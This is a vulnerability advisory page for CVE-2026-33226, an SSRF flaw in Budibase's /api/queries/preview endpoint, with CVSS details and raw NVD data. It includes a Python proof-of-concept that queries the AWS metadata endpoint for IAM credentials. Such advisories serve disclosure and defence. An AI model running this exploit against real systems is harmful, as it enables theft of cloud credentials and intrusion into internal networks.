Security Vulnerability Report
中文
CVE-2026-33226 CVSS 8.7 HIGH

CVE-2026-33226

Published: 2026-03-20 23:16:46
Last Modified: 2026-03-23 19:14:07

Description

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In versions from 3.30.6 and prior, the REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:* - VULNERABLE
Budibase <= 3.30.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable Budibase instance target_url = "http://vulnerable-budibase-instance.com/api/queries/preview" # Malicious URL pointing to AWS Metadata Service (Internal SSRF) # Can be changed to GCP/Azure metadata or internal database addresses ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Headers with a valid Admin authentication token headers = { "Authorization": "Bearer <VALID_ADMIN_JWT_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # JSON payload containing the malicious path data = { "fields": { "path": ssrf_payload }, "datasourceId": "<DATASOURCE_ID>", "queryId": "<QUERY_ID>" } try: # Sending the POST request to trigger the SSRF response = requests.post(target_url, json=data, headers=headers, timeout=10) # Checking if the request was successful if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33226", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:46.333", "lastModified": "2026-03-23T19:14:07.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is a low code platform for creating internal tools, workflows, and admin panels. In versions from 3.30.6 and prior, the REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration. At time of publication, there are no publicly available patches."}, {"lang": "es", "value": "Budibase es una plataforma de bajo código para crear herramientas internas, flujos de trabajo y paneles de administración. En versiones desde la 3.30.6 y anteriores, el endpoint de vista previa de consulta de fuente de datos REST (POST /api/queries/preview) realiza solicitudes HTTP del lado del servidor a cualquier URL proporcionada por el usuario en fields.path sin validación. Un administrador autenticado puede alcanzar servicios internos que no están expuestos a internet — incluyendo endpoints de metadatos en la nube (AWS/GCP/Azure), bases de datos internas, APIs de Kubernetes y otros pods en la red interna. En GCP esto conduce al robo de tokens OAuth2 con alcance 'cloud-platform' (acceso completo a GCP). En cualquier despliegue permite la enumeración completa de la red interna. En el momento de la publicación, no hay parches disponibles públicamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.30.6", "matchCriteriaId": "52ADDDC4-29B8-41EF-9A96-C82854258816"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}